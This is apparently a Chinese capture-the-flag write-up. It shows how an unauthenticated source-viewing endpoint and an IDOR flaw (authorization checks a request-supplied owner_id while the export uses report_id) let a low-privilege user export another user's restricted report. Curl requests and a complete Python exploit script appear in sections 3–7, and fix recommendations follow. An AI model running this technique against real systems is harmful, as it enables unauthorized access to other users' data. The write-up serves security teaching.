| 项目 | 内容 |
|---|---|
| 分类 / 难度 | Web / Medium |
| 类型 | 授权对象错位(IDOR/BOLA)+ 源码泄露 |
| 登录 | alice / alicepass(普通分析员) |
| 目标 | 拿到运维名下的「运维 - 受限事件导出」报表内容 |
1. 先摸清界面
ExportRelay 是一个报表导出中继台:左边租户/报表列表,右边报表卡片,卡片上有「导出」按钮。用 alice 登录后,工作台只显示两条报表。
打开开发者工具,把页面用到的接口列一遍:
GET /api/me 当前用户
GET /api/reports 我可见的报表列表
POST /api/exports 创建导出任务
GET /api/exports/<id>/download 下载导出结果
POST /api/login 登录
GET /source?file=<name> 源码查阅
/api/me 确认了自己的身份:
{"id":10,"username":"alice","password":"alicepass","org_id":100,"role":"analyst"}
/api/reports:
[
{"id":1001,"owner_id":10,"title":"Alice - 每周边界巡检","body":"公开边界巡检报告。"},
{"id":1002,"owner_id":10,"title":"Alice - 预发环境发现","body":"租户 100 的预发环境发现。"}
]
两条都是自己的(owner_id=10)。但页脚有个不起眼的链接指向 /source,标注是"源码查阅",用于运维核对部署版本。
2. 第一跳:/source 把整个应用交出来了
先看看这个工具能读什么:
curl 'http://target/source?file=users.php'
<?php
return [
10 => ['id'=>10, 'username'=>'alice', 'password'=>'alicepass', 'org_id'=>100, 'role'=>'analyst'],
20 => ['id'=>20, 'username'=>'bob', 'password'=>'bobpass', 'org_id'=>200, 'role'=>'analyst'],
1 => ['id'=>1, 'username'=>'rootops', 'password'=>'not-for-you', 'org_id'=>999, 'role'=>'admin'],
];
没有任何鉴权。换几个文件名继续读,router.php、ExportService.php、lib.php、reports.php 都能拿到。白名单是 router.php / ExportService.php / lib.php / users.php / reports.php 五个,in_array 严格比对,试图用 ../flag 或 index.html 都会返回 404。
reports.php 里藏着目标:
9001 => ['id'=>9001, 'owner_id'=>1, 'title'=>'运维 - 受限事件导出', 'body'=>'FLAG_HERE'],
reports.php 里 body 写的是占位符 FLAG_HERE,真正取值在 lib.php:
function data_reports(): array {
static $x = null;
if ($x !== null) return $x;
$x = require __DIR__.'/reports.php';
$flag = getenv('FLAG');
if ($flag === false || $flag === '') $flag = trim(@file_get_contents('/flag') ?: '');
foreach ($x as &$r) $r['body'] = str_replace('FLAG_HERE', $flag, $r['body']);
return $x = $x;
}
目标明确:读出 9001 号报表的 body,它的 owner_id=1,属于 rootops。
3. 试一条直路:当 admin
users.php 里有 rootops / not-for-you,role 是 admin。先直接登进去:
curl -H 'Content-Type: application/json' \
-d '{"username":"rootops","password":"not-for-you"}' \
http://target/api/login
# {"ok":true,"username":"rootops"}
登录接口说成功了。但用这个会话访问 /api/me:
curl -H 'Cookie: sid=rootops' http://target/api/me
# {"error":"需要登录"}
登录成功但会话无效。 对照 lib.php 里的会话解析:
function current_user(): ?array {
$sid = $_COOKIE['sid'] ?? '';
$map = ['alice'=>10, 'bob'=>20];
if (!isset($map[$sid])) return null;
return data_users()[$map[$sid]];
}
current_user() 用的是另一张写死的表,只有 alice=>10、bob=>20。rootops 不在这张表里,所以登录接口校验密码通过、发了 sid=rootops,但每个请求解析身份时都拿不到用户。这条直路是断的,role=admin 永远用不上。
顺便:
/api/reports/9001这种"按 id 取单条"的接口在路由里根本没有实现,返回 404。所以admin这条路即便通了也只有列表。
4. 第二跳:看清授权到底校验了什么
回到 ExportService.php:
class ExportService {
public static function create(array $user, array $input): array {
$ownerId = (int)($input['owner_id'] ?? 0);
$reportId = (int)($input['report_id'] ?? 0);
if (!Policy::canExport($user, $ownerId)) {
throw new RuntimeException('未授权', 403);
}
$reports = data_reports();
if (!isset($reports[$reportId])) throw new RuntimeException('报表不存在', 404);
$id = (string)random_int(10000, 99999);
$job = ['id'=>$id, 'created_by'=>$user['id'], 'owner_id'=>$ownerId,
'report_id'=>$reportId, 'status'=>'ready'];
file_put_contents(__DIR__ . '/storage/export_' . $id . '.json', json_encode($job));
return $job;
}
canExport 的具体实现藏在 Policy.php 里,而它不在 /source 的白名单中(五个文件:router.php / ExportService.php / lib.php / users.php / reports.php)。试了 ?file=Policy.php、?file=policy.php、?file=classes/Policy.php 全是 404,拿不到代码。
不过看不看得到实现,这里已经有一个足够刺眼的信号:授权检查用的是 $ownerId,而随后取报表用的却是 $reportId,两个变量在 create() 内部从头到尾碰过面的地方只有第一行的赋值。就算 canExport 写得再严,它检查的也不是"这个 report_id 属不属于我"。
不能只靠读代码下结论,用三组请求把 canExport 的判据夹出来。先准备两条自己的报表(1001、1002,owner_id=10)和别人的报表(9001,owner_id=1):
# A. owner_id 是别人的(1),report_id 是自己的
curl -H 'Cookie: sid=alice' -H 'Content-Type: application/json' \
-d '{"report_id":1001,"owner_id":1}' http://target/api/exports
# {"error":"未授权"} → 403
# B. owner_id 是自己的(10),report_id 也是自己的
curl -H 'Cookie: sid=alice' -H 'Content-Type: application/json' \
-d '{"report_id":1001,"owner_id":10}' http://target/api/exports
# {"id":"...","owner_id":10,"report_id":1001,...} → 201
# C. 不带 owner_id
curl -H 'Cookie: sid=alice' -H 'Content-Type: application/json' \
-d '{"report_id":1001}' http://target/api/exports
# {"error":"未授权"} → 403
三组结果说明两件事:
- A 组 403、B 组 201,
owner_id从1改成10就从拒绝变通过 →canExport判的是owner_id这个请求字段跟当前用户的关系; - C 组 403 →
owner_id缺省时按0处理(对应(int)($input['owner_id'] ?? 0)),同样过不去,不存在"不传就跳过校验"的旁路。
所以判据是"请求里的 owner_id 必须等于我的 id"(或多或少的 admin 分支,反正我们不是 admin 用不上)。
再看 A 组失败的响应体,canExport 一 return 就抛出去了,report_id 那一行根本没被执行到——意味着 report_id 这个字段从头到尾没被任何鉴权看过。它唯一被用到的地方是 create() 后面查表:
$reports = data_reports();
if (!isset($reports[$reportId])) throw new RuntimeException('报表不存在', 404);
这里只判断"存不存在",不判断"归谁"。
这就是问题的全部:可以"用自己拥有的 owner_id 通过检查",同时"操作别人的 report_id"。
5. 第三跳:把两个字段拆开
授权维度填自己的,操作维度填目标的:
curl -H 'Cookie: sid=alice' -H 'Content-Type: application/json' \
-d '{"report_id":9001,"owner_id":10}' http://target/api/exports
{"id":"32553","created_by":10,"owner_id":10,"report_id":9001,"status":"ready"}
201。任务建好了,注意返回里的 owner_id 是 10(我们填的),report_id 是 9001(别人的)——服务端把两个矛盾的值原样存了下来,没有做任何一致性检查。
6. 第四跳:下载
curl -H 'Cookie: sid=alice' http://target/api/exports/32553/download
# 运维 - 受限事件导出
flag{local_verify_w04}
download() 同样没有任何归属校验:
public static function download(string $id): never {
$p = __DIR__ . '/storage/export_' . $id . '.json';
if (!is_file($p)) json_out(['error'=>'导出不存在'], 404);
$job = json_decode(file_get_contents($p), true);
$reports = data_reports();
$report = $reports[$job['report_id']] ?? null; // ← 直接按 report_id 取
...
echo "# " . $report['title'] . "\n\n" . $report['body'] . "\n";
}
它只按 report_id 取报表内容,created_by / owner_id 一个都没用上。所以只要能建出这个任务(第 5 节),就一定能下到内容。
对照一下:报表列表的过滤是真做对了的(WHERE owner_id = 当前用户),9001 确实不会出现在 alice 的列表里。读权限收紧了,导出这条侧门没收。
7. 完整利用
import json, urllib.request
BASE = "http://target"
SID = "alice"
def req(path, method="GET", body=None):
data = json.dumps(body).encode() if body else None
r = urllib.request.Request(BASE + path, data=data, method=method,
headers={"Cookie": f"sid={SID}",
"Content-Type": "application/json"})
try:
with urllib.request.urlopen(r, timeout=15) as resp:
return resp.status, resp.read().decode()
except urllib.error.HTTPError as e:
return e.code, e.read().decode()
# 0) 读源码,确认报表 id 与 owner(Policy.php 读不到,用行为探)
for f in ("reports.php", "ExportService.php", "lib.php", "users.php"):
print("========", f)
print(req(f"/source?file={f}")[1])
# 0.5) 夹出 canExport 的判据:owner_id 换成自己的才过
print(req("/api/exports", "POST", {"report_id": 1001, "owner_id": 1})[0]) # 403
print(req("/api/exports", "POST", {"report_id": 1001, "owner_id": 10})[0]) # 201
# 1) owner_id 用自己的,report_id 指向运维报表
st, b = req("/api/exports", "POST", {"report_id": 9001, "owner_id": 10})
print(st, b)
job = json.loads(b)["id"]
# 2) 下载
print(req(f"/api/exports/{job}/download")[1])
跑出来的东西:
======= reports.php
... 9001 => ['owner_id'=>1, 'title'=>'运维 - 受限事件导出', 'body'=>'FLAG_HERE'] ...
======= ExportService.php
... if (!Policy::canExport($user, $ownerId)) throw new RuntimeException('未授权', 403);
... if (!isset($reports[$reportId])) throw new RuntimeException('报表不存在', 404);
403
201
201 {"id":"32553","created_by":10,"owner_id":10,"report_id":9001,"status":"ready"}
# 运维 - 受限事件导出
flag{local_verify_w04}
(report_id 用 9001、owner_id 用 10,就是第 5 节那条命令。)
8. 卡住过的地方
| 现象 | 当时怎么试的 | 为什么不通 |
|---|---|---|
rootops 登录返回 ok,但 /api/me 说"需要登录" |
换了 cookie 名、试了 ?sid=、试了 basic auth |
会话解析走的是一张写死的表(alice/bob),admin 从来进不去 |
{"report_id":9001,"owner_id":1} 想直接冒充运维 |
想着"owner 对上就行" | canExport 比的是当前会话用户的 id,不看"你声称的 owner 是谁" |
想读 Policy.php 确认判据 |
?file=Policy.php / ?file=policy.php / ?file=classes/Policy.php |
白名单只有五个文件,读不到;改用 A/B/C 三组请求行为探测 |
想用 /api/reports/9001 直接读 |
GET /api/reports/9001 |
路由里没这个接口,404 |
只用 report_id 不带 owner_id |
{"report_id":9001} |
owner_id 缺省为 0,0 !== 10 → 403 |
| 想改导出 id 猜别人的 | 试 10000–99999 | 不用猜,自己建的任务download 也不校验归属 |
9. 这题教会的三件事
/source这类"给运维用的查版本工具"是高危面。它在文件名上做了白名单(挡了../flag),却把最关键的"谁能读"落了。看到这类端点,第一反应就该是把白名单里每一个文件名都拖一遍。- 授权看的是"你提交的对象"还是"服务端的对象" 是分水岭。凡是请求体里出现
owner_id/tenant_id/user_id这类字段,都要怀疑它是拿来"过检查"而不是"被检查"的。 - 登录接口通过 ≠ 会话有效。本题里两套身份数据源不一致,出现了一个"能认证、不能授权"的悬空账号。真实系统里这种不一致往往是更严重的漏洞土壤。
10. 修复建议
- 删掉
/source,或至少要求 admin 会话并放到内网;镜像里不要打包含明文的账号表; - 授权时从服务端数据反查:先
$report = $reports[$reportId],再判$report['owner_id'] === $user['id'];请求体里的owner_id一律丢弃; download()校验$job['created_by'] === $user['id'],导出 id 换成不可枚举的 UUID;- 统一身份数据源,登录与会话解析用同一张表。
11. 小结
一条链:/source 无鉴权泄露源码 → 从 ExportService::create() 看出授权用的 owner_id 和实际操作对象 report_id 是两回事 → 三组请求夹出 canExport 只认请求里的 owner_id → 把 owner_id 填自己的、report_id 填目标的 → 201 → 下载。
Flag:flag{local_verify_w04}